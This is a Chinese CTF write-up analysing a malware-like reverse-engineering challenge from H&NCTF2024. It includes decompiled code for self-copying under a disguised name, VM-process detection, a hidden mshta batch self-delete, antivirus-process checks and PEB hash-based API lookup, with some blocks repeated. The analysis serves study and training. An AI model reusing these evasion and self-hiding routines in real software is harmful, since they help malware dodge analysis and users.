-
-
[原创]RWhackA远程线程注入式病毒分析(H&NCTF2024)
-
发表于: 2024-6-6 00:51 8227
-
wp拜读:[原创]H&NCTF RE 部分题解-CTF对抗-看雪-安全社区|安全招聘|kanxue.com
涉及到的知识点:
IDA动态调试
IDAPython脚本
用快照对进程、模块、线程进行遍历(代码段)
WindowsAPI
病毒感染实现(PE infector)
DLL文件分析
发现保护器:保护器: Enigma Virtual Box
工具下载:【更新】Enigma Virtual Box(单文件封装工具) v10.50 - 『精品软件区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn
该保护器介绍:Enigma Virtual Box用法 exe封包工具介绍-CSDN博客
这个保护器主要的功能就是把一堆文件合成为一个EXE!
开始手动静态分析:
静态分析发现有很多內存访问异常点,均出自函数调用上,可能是程序重定位时产生的错误,没办法只能动态调试了。
我想知道为什么会动态调试才出现真实的地址:
找到存放地址的变量去下一个断点:
下个读写断点:
再去看是被哪个函数写入的值!
成功找到!
毫无疑问这个正确的地址是由保护器Enigma Virtual Box动态写入的!!!
发现存在一个非官方库的dll文件,猜这其实是题目要给的附件只是被打包进了exe!
继续动态调试,成功加载出myDLL1.dll文件,直接用ida插件dump出来:
成功:
剩下的就是动态调试dll文件里面的函数了!
这段代码的逻辑:
文件有三个:原程序、svchsst.exe、9434d49b-56e1-34d4-9434-0245943434d4.txt
继续分析main函数:
这里会检测程序是否运行再虚拟机上!
这段代码的主要逻辑就是运行vbs代码删除文件!
发现这段vbs的作用就是用来删除文件和隐藏窗口的!
批处理文件首先检查是否有参数传递。如果没有参数,它使用 mshta
命令重新运行自己,并传递 hide
参数,同时隐藏窗口。然后在重新运行时,由于有了 hide
参数,实际的批处理文件逻辑开始执行。
这段代码通过遍历进程查找电脑中是否存在vm必备进程!来检查是否是虚拟机!
直接手动绕过前面的虚拟机检查就来到了下面代码的位置!
遍历程序的所有模块来寻找特点hash值的模块,我们直接下个断点再来看看它找的是哪个模块!
再去看地址发现找到了kernel32
解决了这段代码就来学习一下这个结构体(结构体来至chatgpt)
继续向下分析
这段代码的核心函数就是sub_140001320();,前面查找"ZhuDongFangYu.exe" 和 "360Tray.exe" 这两个进程并不会阻止程序的运行!他还会检测计算机所使用的操作系统!
RtlGetVersion 函数所返回的结构体:
解析一下代码:
这段代码的主要功能是:
这段代码会输出最终的shellcode,也就是我们最终要分析的目标!直接在这个位置下个断点!!!dump一下数据就好了!!
利用idapython将数据dump出来!
将内存dump出来之后就直接拖入ida看看这段shellcode的作用,当然也可以直接在ida里将shellcode转为指令直接分析不需要dump!
但是我还是dump出来更加清晰:
在shellcode的最后就隐藏这flag:
int
LocalHide()
{
char
Src[304];
// [rsp+20h] [rbp-E0h] BYREF
char
Command[304];
// [rsp+150h] [rbp+50h] BYREF
char
FileName[304];
// [rsp+280h] [rbp+180h] BYREF
CHAR
Filename[304];
// [rsp+3B0h] [rbp+2B0h] BYREF
CHAR
Buffer[256];
// [rsp+4E0h] [rbp+3E0h] BYREF
char
v6[10240];
// [rsp+5E0h] [rbp+4E0h] BYREF
DWORD
pcbBuffer;
// [rsp+2DF0h] [rbp+2CF0h] BYREF
FILE
*Stream;
// [rsp+2DF8h] [rbp+2CF8h] BYREF
memset
(v6, 0,
sizeof
(v6));
memset
(Command, 0, 0x12Cui64);
memset
(Filename, 0, 0x12Cui64);
memset
(Src, 0, 0x12Cui64);
memset
(FileName, 0, 0x12Cui64);
memset
(Buffer, 0,
sizeof
(Buffer));
pcbBuffer = 256;
GetUserNameA(Buffer, &pcbBuffer);
// 获取当前用户名
stdio_common_vsprintf_s(v6,
"C:\\Users\\%s\\Videos"
, Buffer);
stdio_common_vsprintf_s_0(Src,
"%s\\svchsst.exe"
);
// 拼接出文件路径
GetModuleFileNameA(0i64, Filename, 0x104u);
stdio_common_vsprintf_s_0(FileName,
"%s\\9434d49b-56e1-34d4-9434-0245943434d4.txt"
);
Stream =
fopen
(FileName,
"r"
);
if
( !Stream )
// 在主程序中由于文件不存在导致打开失败
{
fopen
(FileName,
"r"
);
// 打开文件会失败,C:\Users\Brinmon\Videos\9434d49b-56e1-34d4-9434-0245943434d4.txt
ModifyAndRenameFile(Src,
"txt"
, 0);
// 将src的路径后缀改名
CopyFileContent(Filename, Src);
// 将主exe复制一份名为svchsst.txt的文本文件
ModifyAndRenameFile(Src,
"exe"
, 1);
// 目录出现exe,修改文件明
stdio_common_vsprintf_s_0(Command,
"start %s"
);
// 拼接出命令start svchsst.exe
system
(Command);
// 运行完之后会出现一个svchsst.txt
Stream = 0i64;
fopen_s(&Stream, FileName,
"w"
);
fwrite
(Filename, 0x12Cui64, 1ui64, Stream);
// 写入主文件路径到txt文本:C:\Users\Brinmon\Desktop\隐藏的眼睛\RwHackA - 副本.exe
fclose
(Stream);
puts
(
"退出\n"
);
exit
(0);
}
printf
(
"身在此山中\n"
);
memset
(Src, 0, 0x12Cui64);
fgets
(Src, 300, Stream);
// 读取文本信息,得到主程序的位置C:\Users\Brinmon\Desktop\隐藏的眼睛\RwHackA - 副本.exe
fclose
(Stream);
stdio_common_vsprintf_s_0(Command,
"del %s"
);
// del C:\Users\Brinmon\Desktop\隐藏的眼睛\RwHackA - 副本.exe
system
(Command);
stdio_common_vsprintf_s_0(Command,
"del %s"
);
// del C:\Users\Brinmon\Videos\9434d49b-56e1-34d4-9434-0245943434d4.txt
return
system
(Command);
}
int
LocalHide()
{
char
Src[304];
// [rsp+20h] [rbp-E0h] BYREF
char
Command[304];
// [rsp+150h] [rbp+50h] BYREF
char
FileName[304];
// [rsp+280h] [rbp+180h] BYREF
CHAR
Filename[304];
// [rsp+3B0h] [rbp+2B0h] BYREF
CHAR
Buffer[256];
// [rsp+4E0h] [rbp+3E0h] BYREF
char
v6[10240];
// [rsp+5E0h] [rbp+4E0h] BYREF
DWORD
pcbBuffer;
// [rsp+2DF0h] [rbp+2CF0h] BYREF
FILE
*Stream;
// [rsp+2DF8h] [rbp+2CF8h] BYREF
memset
(v6, 0,
sizeof
(v6));
memset
(Command, 0, 0x12Cui64);
memset
(Filename, 0, 0x12Cui64);
memset
(Src, 0, 0x12Cui64);
memset
(FileName, 0, 0x12Cui64);
memset
(Buffer, 0,
sizeof
(Buffer));
pcbBuffer = 256;
GetUserNameA(Buffer, &pcbBuffer);
// 获取当前用户名
stdio_common_vsprintf_s(v6,
"C:\\Users\\%s\\Videos"
, Buffer);
stdio_common_vsprintf_s_0(Src,
"%s\\svchsst.exe"
);
// 拼接出文件路径
GetModuleFileNameA(0i64, Filename, 0x104u);
stdio_common_vsprintf_s_0(FileName,
"%s\\9434d49b-56e1-34d4-9434-0245943434d4.txt"
);
Stream =
fopen
(FileName,
"r"
);
if
( !Stream )
// 在主程序中由于文件不存在导致打开失败
{
fopen
(FileName,
"r"
);
// 打开文件会失败,C:\Users\Brinmon\Videos\9434d49b-56e1-34d4-9434-0245943434d4.txt
ModifyAndRenameFile(Src,
"txt"
, 0);
// 将src的路径后缀改名
CopyFileContent(Filename, Src);
// 将主exe复制一份名为svchsst.txt的文本文件
ModifyAndRenameFile(Src,
"exe"
, 1);
// 目录出现exe,修改文件明
stdio_common_vsprintf_s_0(Command,
"start %s"
);
// 拼接出命令start svchsst.exe
system
(Command);
// 运行完之后会出现一个svchsst.txt
Stream = 0i64;
fopen_s(&Stream, FileName,
"w"
);
fwrite
(Filename, 0x12Cui64, 1ui64, Stream);
// 写入主文件路径到txt文本:C:\Users\Brinmon\Desktop\隐藏的眼睛\RwHackA - 副本.exe
fclose
(Stream);
puts
(
"退出\n"
);
exit
(0);
}
printf
(
"身在此山中\n"
);
memset
(Src, 0, 0x12Cui64);
fgets
(Src, 300, Stream);
// 读取文本信息,得到主程序的位置C:\Users\Brinmon\Desktop\隐藏的眼睛\RwHackA - 副本.exe
fclose
(Stream);
stdio_common_vsprintf_s_0(Command,
"del %s"
);
// del C:\Users\Brinmon\Desktop\隐藏的眼睛\RwHackA - 副本.exe
system
(Command);
stdio_common_vsprintf_s_0(Command,
"del %s"
);
// del C:\Users\Brinmon\Videos\9434d49b-56e1-34d4-9434-0245943434d4.txt
return
system
(Command);
}
void
__noreturn sub_140001070()
{
__int64
len;
// rdx
char
v1[304];
// [rsp+20h] [rbp-498h] BYREF
char
vscCode[304];
// [rsp+150h] [rbp-368h] BYREF
char
v3[304];
// [rsp+280h] [rbp-238h] BYREF
char
v4[264];
// [rsp+3B0h] [rbp-108h] BYREF
int
v5;
// [rsp+4C0h] [rbp+8h] BYREF
__int64
v6;
// [rsp+4C8h] [rbp+10h] BYREF
memeset();
v5 = 256;
(advapi32_GetUserNameA)(v4, &v5);
memeset();
memeset();
(kernel32_GetModuleFileNameA)(0i64, v1, 260i64);
stdio_common_vsprintf_s(v3,
"C:\\Users\\%s\\Pictures\\WindowsRun.bat"
, v4);
v6 = 0i64;
(ucrtbase_fopen_s)(&v6, v3,
"w"
);
memeset();
stdio_common_vsprintf_s(
vscCode,
"if \"%%1\"==\"hide\" goto CmdBegin\n"
"start mshta vbscript:createobject(\"wscript.shell\").run(\"\"\"%%~0\"\" hide\",0)(window.close)&&exit\n"
":CmdBegin\n"
"del %s"
,
v1);
len = -1i64;
do
++len;
while
( vscCode[len] );
(ucrtbase_fwrite)(vscCode, len, 1i64, v6);
(ucrtbase_fclose)(v6);
stdio_common_vsprintf_s(v1,
"start %s"
, v3);
(ucrtbase_system)(v1);
ucrtbase_exit(0i64);
}
void
__noreturn sub_140001070()
{
__int64
len;
// rdx
char
v1[304];
// [rsp+20h] [rbp-498h] BYREF
char
vscCode[304];
// [rsp+150h] [rbp-368h] BYREF
char
v3[304];
// [rsp+280h] [rbp-238h] BYREF
char
v4[264];
// [rsp+3B0h] [rbp-108h] BYREF
int
v5;
// [rsp+4C0h] [rbp+8h] BYREF
__int64
v6;
// [rsp+4C8h] [rbp+10h] BYREF
memeset();
v5 = 256;
(advapi32_GetUserNameA)(v4, &v5);
memeset();
memeset();
(kernel32_GetModuleFileNameA)(0i64, v1, 260i64);
stdio_common_vsprintf_s(v3,
"C:\\Users\\%s\\Pictures\\WindowsRun.bat"
, v4);
v6 = 0i64;
(ucrtbase_fopen_s)(&v6, v3,
"w"
);
memeset();
stdio_common_vsprintf_s(
vscCode,
"if \"%%1\"==\"hide\" goto CmdBegin\n"
"start mshta vbscript:createobject(\"wscript.shell\").run(\"\"\"%%~0\"\" hide\",0)(window.close)&&exit\n"
":CmdBegin\n"
"del %s"
,
v1);
len = -1i64;
do
++len;
while
( vscCode[len] );
(ucrtbase_fwrite)(vscCode, len, 1i64, v6);
(ucrtbase_fclose)(v6);
stdio_common_vsprintf_s(v1,
"start %s"
, v3);
(ucrtbase_system)(v1);
ucrtbase_exit(0i64);
}
//使用 CreateToolhelp32Snapshot() 函数获取当前进程的进程快照
Toolhelp32Snapshot = kernel32_CreateToolhelp32Snapshot(2i64, 0i64);
//如果获取快照失败,打印错误码
if
( Toolhelp32Snapshot == -1 )
{
v7 = (kernel32_GetLastError)();
printf
(
"CreateToolhelp32Snapshot:%d\n"
, v7);
}
// 初始化 PROCESSENTRY32W 结构体
v51[0] = 568;
//使用 Process32FirstW() 函数遍历进程快照
if
( (kernel32_Process32FirstW)(Toolhelp32Snapshot, v51) )
{
//定义一些字符串,用于检查进程名是否包含这些字符串
v40 =
"Vmtoolsd.exe"
;
v41 =
"Vmwaretrat.exe"
;
v42 =
"Vmwareuser.exe"
;
v43 =
"Vmacthlp.exe"
;
v44 =
"vboxservice.exe"
;
v45 =
"vboxtray.exe"
;
do
{
memeset();
//将进程名从宽字符转换为多字节字符串
(kernel32_WideCharToMultiByte)(0i64, 0i64, v52, 0xFFFFFFFFi64, v50, 260, 0i64, 0i64, v40, v41, v42, v43, v44, v45);
//检查进程名是否包含虚拟机相关的字符串
for
( i = 0i64; i < 6; ++i )
{
v10 = (&v40)[i];
v11 = (v50 - v10);
do
{
v12 = v11[v10];
v13 = *v10 - v12;
if
( v13 )
break
;
++v10;
}
while
( v12 );
if
( !v13 )
{
printf
(
"为虚拟机exe\n"
);
sub_140001070();
}
}
}
//继续遍历下一个进程
while
( (kernel32_Process32NextW)(Toolhelp32Snapshot, v51) );
}
else
{
//如果 Process32FirstW() 函数失败,打印错误码
v8 = (kernel32_GetLastError)();
printf
(
"Process32First:%d\n"
, v8);
}
printf
(
"为实体机\n"
);
//使用 CreateToolhelp32Snapshot() 函数获取当前进程的进程快照
Toolhelp32Snapshot = kernel32_CreateToolhelp32Snapshot(2i64, 0i64);
//如果获取快照失败,打印错误码
if
( Toolhelp32Snapshot == -1 )
{
v7 = (kernel32_GetLastError)();
printf
(
"CreateToolhelp32Snapshot:%d\n"
, v7);
}
// 初始化 PROCESSENTRY32W 结构体
v51[0] = 568;
//使用 Process32FirstW() 函数遍历进程快照
if
( (kernel32_Process32FirstW)(Toolhelp32Snapshot, v51) )
{
//定义一些字符串,用于检查进程名是否包含这些字符串
v40 =
"Vmtoolsd.exe"
;
v41 =
"Vmwaretrat.exe"
;
v42 =
"Vmwareuser.exe"
;
v43 =
"Vmacthlp.exe"
;
v44 =
"vboxservice.exe"
;
v45 =
"vboxtray.exe"
;
do
{
memeset();
//将进程名从宽字符转换为多字节字符串
(kernel32_WideCharToMultiByte)(0i64, 0i64, v52, 0xFFFFFFFFi64, v50, 260, 0i64, 0i64, v40, v41, v42, v43, v44, v45);
//检查进程名是否包含虚拟机相关的字符串
for
( i = 0i64; i < 6; ++i )
{
v10 = (&v40)[i];
v11 = (v50 - v10);
do
{
v12 = v11[v10];
v13 = *v10 - v12;
if
( v13 )
break
;
++v10;
}
while
( v12 );
if
( !v13 )
{
printf
(
"为虚拟机exe\n"
);
sub_140001070();
}
}
}
//继续遍历下一个进程
while
( (kernel32_Process32NextW)(Toolhelp32Snapshot, v51) );
}
else
{
//如果 Process32FirstW() 函数失败,打印错误码
v8 = (kernel32_GetLastError)();
printf
(
"Process32First:%d\n"
, v8);
}
printf
(
"为实体机\n"
);
v40 =
"Vmtoolsd.exe"
;
v41 =
"Vmwaretrat.exe"
;
v42 =
"Vmwareuser.exe"
;
v43 =
"Vmacthlp.exe"
;
v44 =
"vboxservice.exe"
;
v45 =
"vboxtray.exe"
;
v40 =
"Vmtoolsd.exe"
;
v41 =
"Vmwaretrat.exe"
;
v42 =
"Vmwareuser.exe"
;
v43 =
"Vmacthlp.exe"
;
v44 =
"vboxservice.exe"
;
v45 =
"vboxtray.exe"
;
// 获取当前进程的环境块(PEB)
Blink = NtCurrentPeb()->Ldr->InLoadOrderModuleList.Blink;
// 初始化链表遍历指针v16为链表头部
v16 = Blink;
// 遍历模块链表
do
{
// 移动到下一个模块
v16 = v16->Flink;
// 检查当前模块是否有模块名称
if
(v16[3].Flink)
{
// 提取模块名称并存储在v46数组中
Flink = v16[6].Flink;
for
(j = 0i64; *Flink; v46[j++] = v19)
{
// 最多只处理63个字符
if
(j >= 0x3F)
break
;
v19 = *Flink;
//字节存储在v19中
Flink += 2;
//移动两个字节
}
v46[j] = 0;
// 添加字符串结束符
// 将模块名称转换为小写
v20 = (user32_CharLowerA)(v46);
// 计算模块名称哈希值
v21 = 53;
v22 = -1i64;
v14 = v20;
do
++v22;
while
(*(v20 + v22));
v23 = 0;
if
(v22)
{
do
{
v24 = *v14;
++v23;
++v14;
v21 = v24 + 3 * v21;
}
while
(v23 < v22);
// 检查哈希值是否匹配目标值0x037C0B5E
if
(v21 == 0x037C0B5E)
break
;
}
}
}
// 循环直到遍历完整个模块链表
while
(Blink != v16);
// 获取当前进程的环境块(PEB)
Blink = NtCurrentPeb()->Ldr->InLoadOrderModuleList.Blink;
// 初始化链表遍历指针v16为链表头部
v16 = Blink;
// 遍历模块链表
do
{
// 移动到下一个模块
v16 = v16->Flink;
// 检查当前模块是否有模块名称
if
(v16[3].Flink)
{
// 提取模块名称并存储在v46数组中
Flink = v16[6].Flink;
for
(j = 0i64; *Flink; v46[j++] = v19)
{
// 最多只处理63个字符
if
(j >= 0x3F)
break
;
v19 = *Flink;
//字节存储在v19中
Flink += 2;
//移动两个字节
}
v46[j] = 0;
// 添加字符串结束符
// 将模块名称转换为小写
v20 = (user32_CharLowerA)(v46);
// 计算模块名称哈希值
v21 = 53;
v22 = -1i64;
v14 = v20;
do
++v22;
while
(*(v20 + v22));
v23 = 0;
if
(v22)
{
do
{
v24 = *v14;
++v23;
++v14;
v21 = v24 + 3 * v21;
}
while
(v23 < v22);
// 检查哈希值是否匹配目标值0x037C0B5E
if
(v21 == 0x037C0B5E)
break
;
}
}
}
// 循环直到遍历完整个模块链表
while
(Blink != v16);
typedef
struct
_LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID
DllBase;
PVOID
EntryPoint;
ULONG
SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG
Flags;
USHORT
LoadCount;
USHORT
TlsIndex;
union
{
LIST_ENTRY HashLinks;
struct
{
PVOID
SectionPointer;
ULONG
CheckSum;
};
};
union
{
struct
{
ULONG
TimeDateStamp;
};
struct
{
PVOID
LoadedImports;
};
};
PVOID
EntryPointActivationContext;
PVOID
PatchInformation;
LIST_ENTRY ForwarderLinks;
LIST_ENTRY ServiceTagList;
LIST_ENTRY StaticLinks;
PVOID
ContextInformation;
ULONG_PTR
OriginalBase;
LARGE_INTEGER LoadTime;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
typedef
struct
_LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID
DllBase;
PVOID
EntryPoint;
ULONG
SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG
Flags;
USHORT
LoadCount;
USHORT
TlsIndex;
union
{
LIST_ENTRY HashLinks;
struct
{
PVOID
SectionPointer;
ULONG
CheckSum;
};
};
union
{
struct
{
ULONG
TimeDateStamp;
};
struct
{
PVOID
LoadedImports;